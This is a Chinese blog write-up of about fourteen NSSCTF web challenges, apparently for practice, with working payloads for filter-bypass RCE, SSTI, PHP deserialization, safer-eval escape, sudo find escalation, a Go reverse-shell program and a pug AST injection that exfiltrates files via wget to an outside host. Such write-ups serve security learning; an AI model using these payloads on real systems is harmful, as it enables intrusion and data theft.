目录

  1. 1. 前言
  2. 2. [b01lers 2020]Welcome to Earth
  3. 3. [NSSRound#V Team]PYRCE
    1. 3.1. linux命令构造/
    2. 3.2. 法1:cp带出回显
    3. 3.3. 法2:tar压缩带出回显
  4. 4. [AFCTF 2021]BABY_CSP
  5. 5. [FSCTF 2023]ez_php2
  6. 6. [GKCTF 2020]ez三剑客-easynode
    1. 6.1. 绕过setTimeout
    2. 6.2. safer-eval库漏洞
  7. 7. [GWCTF 2019]你的名字
  8. 8. [FSCTF 2023]CanCanNeed
  9. 9. [HZNUCTF 2023 final]ezgo
    1. 9.1. linux应用程序路径
    2. 9.2. find提权
  10. 10. [UUCTF 2022 新生赛]phonecode
  11. 11. [FSCTF 2023]签到plus!
  12. 12. [BJDCTF 2020]Cookie is so subtle!
  13. 13. [NSSRound#8 Basic]Upload_gogoggo
  14. 14. [强网杯 2019]高明的黑客
  15. 15. [湖湘杯 2021 final]vote

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF web 刷题记录4

2023/12/10 Web 刷题 NSS
  |     |   总文章阅读量:

前言

s属性大爆发,似!

P15~16

[b01lers 2020]Welcome to Earth

前端页面抓包

进入题目,发现在首页过了一会之后会跳转到/die路由

那我们先抓包首页看一下

image-20231210163506088

发现/chase路由,访问并抓包

image-20231210163546129

发现/leftt路由,访问并抓包

image-20231210163624394

发现/shoot路由,访问并抓包

image-20231210163703274

发现/door路由,访问并抓包

image-20231210163730127

没有其它路由了,猜测在door.js里面,看一眼

image-20231210163806851

发现/open路由,访问

image-20231210163918725

看看open_sesame.js

image-20231210163952494

发现/fight路由

image-20231210164040317

看看fight.js

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

稍微审一下就知道这里把flag打乱了

然后就是逆向,逆不了一点

直接爆破排列组合

from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for a in item:
    k = ''.join(list(a))

    if k.startswith('pctf{hey_boys') and k[-1] == '}':
        print(k)

[NSSRound#V Team]PYRCE

python rce

进入题目,访问/source

得到源码

from flask import Flask, request, make_response
import uuid
import os

# flag in /flag
app = Flask(__name__)

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            return False
    return True

@app.route('/', methods=['GET'])
def index():
    if request.args.get("Ňśś"):
        nss = request.args.get("Ňśś")
        if waf(nss):
            os.popen(nss)
        else:
            return "waf"
    return "/source"


@app.route('/source', methods=['GET'])
def source():
    src = open("app.py", 'rb').read()
    return src

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

审计一下代码,一眼存在命令执行os.popen(nss),告诉了我们flag的路径在/flag,接下来就是如何绕过waf

waf过滤了数字,还过滤了/,空格

linux命令构造/

那么我们的重点就是如何构造出一个斜杠来读flag,python不像php一样有异或或者取反之类的rce方法,不过我们可以从linux的角度来思考命令的构造:https://c1oudfl0w0.github.io/blog/2023/03/15/RCE%E6%80%BB%E7%BB%93/#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F-%E4%BB%A5%E9%9D%B6%E6%9C%BA%E4%B8%BA%E4%BE%8B

要获取/可以考虑${HOME:${ # }:${ ## }}或者${PWD::$ # SHLVL}},但是这里已经过滤了#

不过问题不大,测试发现$(cd ..&&cd ..&&cd ..&&pwd)也可以获取/

image-20231211220722770

法1:cp带出回显

接下来要注意到因为是os.popen(nss),没有read就代表是无回显的,而flag是在根目录下的

那么我们需要cp一份flag过来,这里考虑直接覆盖app.py

拼接一下

cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py

最终payload:

空格用%09代替即可,注意这里要url编码一次

?Ňśś=cp%09%24(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26echo%09%24(pwd)flag)%09app.py

然后访问/source即可

法2:tar压缩带出回显

先创建一个flask特有的静态访问目录static,然后我们就可以直接访问其中的文件了

?Ňśś=mkdir%09static
?Ňśś=tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag

然后访问/static/flag.tar.gz,解压得到flag


[AFCTF 2021]BABY_CSP

CSP

进入题目,点击链接,出现了一个参数?school=CSU

在响应头里发现

Content-Security-Policy: default-src 'none';script-src 'nonce-29de6fde0db5686d'

结合题目名称可以知道这题和CSP有关

默认配置不允许任何资源被加载

不过这里使用了一次性加密字符29de6fde0db5686d定义可以执行内联js脚本

看一下页面源码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>BABY CSP</title>
</head>

<body>
    <a href='#' id="btn">whe3e are y0u fr0m?</a>
</body>
<script nonce=29de6fde0db5686d>
    btn.onclick = () => {
    location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
    }
    </script><p>CSU!</p></html>

发现返回的结果会拼接在页面的html中,如这里的<p>CSU!</p>

那么我们尝试带上nonce的值,注入payload直接输出flag

<script nonce="29de6fde0db5686d">alert(flag)</script>

然后ctrl+u查看页面源码找到flag


[FSCTF 2023]ez_php2

反序列化pop链

<?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?>

逆天,这里仔细看了一下发现Poc类里面有payloadpaylaod两个参数,所以我们的目标不是Poc::getflag,而是Er::__set

链子:Ha::__destruct -> Rd::__call -> Er::__set

exp:

<?php
class Rd
{
    public $ending;
    public $cl;

    public $poc;
}


class Poc
{
    public $payload;
    public $fun;
}

class Er
{
    public $symbol;
    public $Flag;
}

class Ha
{
    public $start = ['POC' => "1111"];
    public $start1;
    public $start2 = "11111";
}

$a = new Ha();
$a->start1 = new Rd();
$a->start1->cl = new Er();
$a->start1->cl->Flag = "ls /";
echo serialize($a);

[GKCTF 2020]ez三剑客-easynode

safer-eval沙盒逃逸

进入题目,直接给了源码和版本

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});
{
  "name": "src",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "safer-eval": "1.3.6"
  }
}

先进行代码审计,/eval路由下存在saferEval可以进行沙盒命令执行

但是要访问/eval进行计算就要先经过setTimeout,接收一个delay参数,然后和60*1000比较取最大值作为延迟的时间

绕过setTimeout

之前已经遇到过一次了,直接整型溢出绕过即可

?delay=2147483648

也可以用科学计数法来int溢出

?delay=99999999e999

然后就能命令执行了

safer-eval库漏洞

出现了一个safer-eval库,搜索一下相关版本的漏洞,发现存在沙盒逃逸:https://github.com/commenthol/safer-eval/issues/10

poc:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

image-20231213111244228

那么对着这个poc可以写出我们的payload:

(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("ls /").toString()})()

本地测试一下弹计算器:

image-20231213111527044

接下来就直接传入payload就行了

image-20231213111703321


[GWCTF 2019]你的名字

ssti

进入题目,经典输入名字,那就是ssti

手动fuzz一下,发现{{}}会报错,过滤了os、request、open、class、mro、subprocess、config,过滤方式是替换为空

那么我们可以用{%print()%},双写绕过关键词过滤,注意这里不能直接双写class,带上别的过滤关键词来双写(也可以用attr来拼接绕过)

先找可利用的类

{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__())%}

找到subprocess.popen,在位置258处

命令执行

{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__()[258]('ls /',shell=True,stdout=-1).communicate())%}

根目录有flag_1s_Hera,告诉我们flag在环境变量里面,那就env得到flag

cat app.py得到题目源码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from flask import Flask, render_template, render_template_string, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
    def safe_filter(s):
        blacklist1 = ['{import', '{getattr', '{os', '{class', '{subclasses', '{mro', '{request', '{args', '{eval', '{if', '{for', '{subprocess', '{file', '{open', '{popen', '{builtins', '{compile', '{execfile', '{from_pyfile', '{local', '{self', '{item', '{getitem', '{getattribute', '{func_globals', '{config']
        blacklist_strong = blacklist1 + ['{{', '}}']
        for no in blacklist_strong:
            if no in s:
                return '1'
            else:
                continue

        blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for', ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
        for no in blacklist:
            while True:
                if no in s:
                    s = s.replace(no, '')
                else:
                    break
        return s

    if request.method == 'POST':
        name = request.form['name']
        template = 'hello {}!'.format(name)
        name1 = render_template_string(safe_filter(template))
        print(name1)
        if name1 == '1':
            template1 = u'''
            <strong>Parse error:</strong> syntax error, unexpected T_STRING, expecting '{' in <strong>\\\\var\\\\WWW\\\\html\\\\test.php</strong> on line <strong>13</strong>
            '''
            return render_template_string(template1)
        else:
            return render_template('index.html', name=name1)

    if request.method == 'GET':
        return render_template('index.html')


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, debug=False)

[FSCTF 2023]CanCanNeed

$a('', $b)动态函数利用create_function

<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?> 

审一下代码,可以发现有一个$a('', $b);,即可变函数的写法,相关的trick也就是creat_function

param2过滤了很多东西,包括引号和星号,但是没过滤system,那就POST带外

exp:

<?php
class Noteasy{
    protected $param1="create_function";
    protected $param2="};system(\$_POST[0]);//";    
}
$a=new Noteasy();
echo base64_encode(serialize($a));
?> 

image-20240107213200342


[HZNUCTF 2023 final]ezgo

find提权

先按照要求访问/cmd,传入post参数shit,发现存在命令执行

尝试直接ls,返回"ls": executable file not found in $PATH

猜测没有加到环境变量,尝试直接调用

shit=/bin/ls /

linux应用程序路径

/bin 存放所有用户皆可用的系统程序,系统启动或者系统修复时可用(在没有挂载 /usr 目录时就可以使用)
/sbin 存放超级用户才能使用的系统程序
/usr/bin 存放所有用户都可用的应用程序
/usr/sbin 存放超级用户才能使用的应用程序
/usr/local/bin 存放所有用户都可用的与本地机器无关的程序
/usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序

image-20240108204347240

但是当我们尝试cat flag的时候返回/bin/cat: /flag: Permission denied

猜测要提权

我们先找找有什么命令

image-20240108204822104

在/usr/bin里面发现sudo命令

sudo -l看一下授权的命令

shit=/usr/bin/sudo -l

image-20240108205117489

有find,查一下对应的提权方式:https://gtfobins.github.io/gtfobins/find/

find提权

参考文章:https://www.cnblogs.com/aaak/p/15718561.html

  1. 查看find命令权限:

    # 查看find命令位置
    which find
    # 查看find命令权限
    ls -l  /usr/bin/find   #  这是find默认位置
    -rwsr-xr-x. 1 root root 320160 Feb 18  2020 /usr/bin/find
    # 有s表示可以提权
  2. 命令执行

    # 查看是否可以用root 命令执行命令
    find `which find` -exec whoami \;
    # 命令解释: 以find命令执行whoami命令。   
    # find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;
sudo find . -exec /bin/sh \; -quit

注意.处可以是任意路径,但是本题靶机需要指定一个文件夹,不然会由于find查询的文件夹过多导致靶机卡住

payload:

shit=/usr/bin/sudo find /bin -exec cat /flag \; -quit

[UUCTF 2022 新生赛]phonecode

随机数预测

进入题目,给了个登录框,点一下send看看

返回了Hint :400250407,刷新一下发现数字变了

猜测存在伪随机数,回到登录框

随便输一下phone和code,phone为114514,返回Hint :1476944489

本地测试发现以114514为种子的第一个随机数就是1476944489

可以知道是以phone的值作为seed生成伪随机数,匹配code的值是否正确

那就写个脚本爆破一下试试

<?php
mt_srand(114514);
for ($i = 0; $i < 20; $i++) {
    echo mt_rand() . "\n";
}

发现匹配的code是第二个随机数1774542013

于是flag到手


[FSCTF 2023]签到plus!

PHP<=7.4.21源码泄露

进入题目,报错页面一眼php起的web服务

image-20240109164155600

扫一下发现存在shell.php

访问可以读到phpinfo,不过flag不是环境变量里面那个

那就直接用PHP源码泄露漏洞搞到静态源码

image-20240109165547147

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

$😭是passthru,那就直接命令执行了


[BJDCTF 2020]Cookie is so subtle!

Twig ssti

进入题目,有一个flag和一个hint页面

flag.php

image-20240110104715317

输入username后返回Hello {username},猜测有ssti

测看看{{7*7}}

image-20240110105300492

说明是Twig或者Jinja模板

接下来测{{7*'7'}}

返回49,而不是7777777,说明模板是Twig而不是Jinja

hint.php,crtl+u发现hint:Why not take a closer look at cookies?

回到flag.php看看cookie

image-20240110104938438

发现cookie里的user的值是我们传入的username,有啥用呢?后面测试发现直接在登录框传入payload会被检测,而直接用cookie传入没被检测到

接下来就是Twig模板注入了,测试发现是1.x版本,先找个payload打一下

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}

注:exec和system与shell_exec都是有区别的,exec只会返回最后一行的数据,所以我们会看到

image-20240110111855703

那怎么知道flag的路径呢,我们可以用find命令来找

find / -name f*

image-20240110112132561

然而这里显示的依旧不是正确的flag位置,我们直接把f*改成flag,得到路径/flag

这样直接cat就行了


[NSSRound#8 Basic]Upload_gogoggo

go文件上传

题目跟我们说没有过滤,结合名称应该是go语言的文件上传

go反弹shell的poc:

package main


import (
"fmt"
"log"
"os/exec"
)

func main() {
	cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/ip/port 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
        fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

随便给个文件名,上传之后回显

image-20240126115808448

猜测要文件名注入进命令里面?

取文件名为run.go,成功弹shell

flag一段在/flaaaag,另一段在/home/galf,拼起来base64解码即可


[强网杯 2019]高明的黑客

脚本提取webshell

image-20240126120504780

进入题目,访问www.tar.gz,下载到一个30多mb的源码

解压下来,搜索一下webshell,逆天,混淆拉满了

image-20240126121057910

看来是要拿脚本一个个爆破过去,网上找个大佬的脚本开爆

import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100)  #这儿设置最大的线程数
filePath = r"D:/下载/比赛附件/NSS刷题/高明的黑客/src"
os.chdir(filePath)  #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5  #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()
    print('trying   ' + file + '     ' +
          time.asctime(time.localtime(time.time())))
    with open(file, encoding='utf-8') as f:  #打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  #所有的$_POST
    params = {}  #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://node4.anna.nssctf.cn:28960/' + file
    req = session.post(url, data=data, params=params)  #一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:  #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:  #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()


for i in files:  #加入多线程
    t = threading.Thread(target=get_content, args=(i, ))
    t.start()

爆破出来结果为xk0SzyKwfzw.php,参数为Efa5BVG

测试了一下发现是get传参直接命令执行,/xk0SzyKwfzw.php?Efa5BVG=cat /flag


[湖湘杯 2021 final]vote

pug AST注入

/routes/index.js

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});

module.exports = router;

用的是pug模板引擎

没找到能直接原型链污染的地方,猜测是nodejs库存在的漏洞

搜一下可以发现pug模板存在 AST注入

直接打exp进去

但是发现靶机里面没有bash,弹不出shell

尝试改成wget直接带出回显

{"hero.name":"菲奥娜",
"__proto__.block": {
"type": "Text",
        "line":"process.mainModule.require('child_process').execSync('wget xxx.xxx.xxx.xxx:14723/`cat /*f*`')"
    }
}

污染后正常访问一次接口触发rce

image-20240210224452040